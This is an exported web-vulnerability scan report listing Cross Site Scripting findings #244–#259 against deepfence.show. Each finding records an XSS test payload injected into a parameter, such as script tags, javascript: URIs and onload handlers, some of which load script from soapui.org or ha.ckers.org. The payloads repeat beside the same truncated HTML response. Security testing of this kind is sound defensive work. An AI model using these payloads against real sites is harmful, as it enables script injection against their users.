Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #244
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #245Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT/SRC="http://soapui.org/xss.js"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #246
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <<SCRIPT>alert("XSS");//<</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #247
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT SRC=http://soapui.org/xss.js?<B
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #248
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT SRC=//ha.ckers.org/.j
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #249
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="javascript:alert('XSS')"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #250
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <iframe src=http://soapui.org/scriptlet.html
<
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #251
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #252
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# \";alert('XSS');//
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79Issue Number #253
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# </TITLE><SCRIPT>alert("XSS");</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #254
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #255
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <BODY BACKGROUND="javascript:alert('XSS')"
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #256
Scan Cross Site Scripting
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <BODY ONLOAD=alert('XSS')>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #257
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG DYNSRC="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #258
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG LOWSRC="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #259
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# <BGSOUND SRC="javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
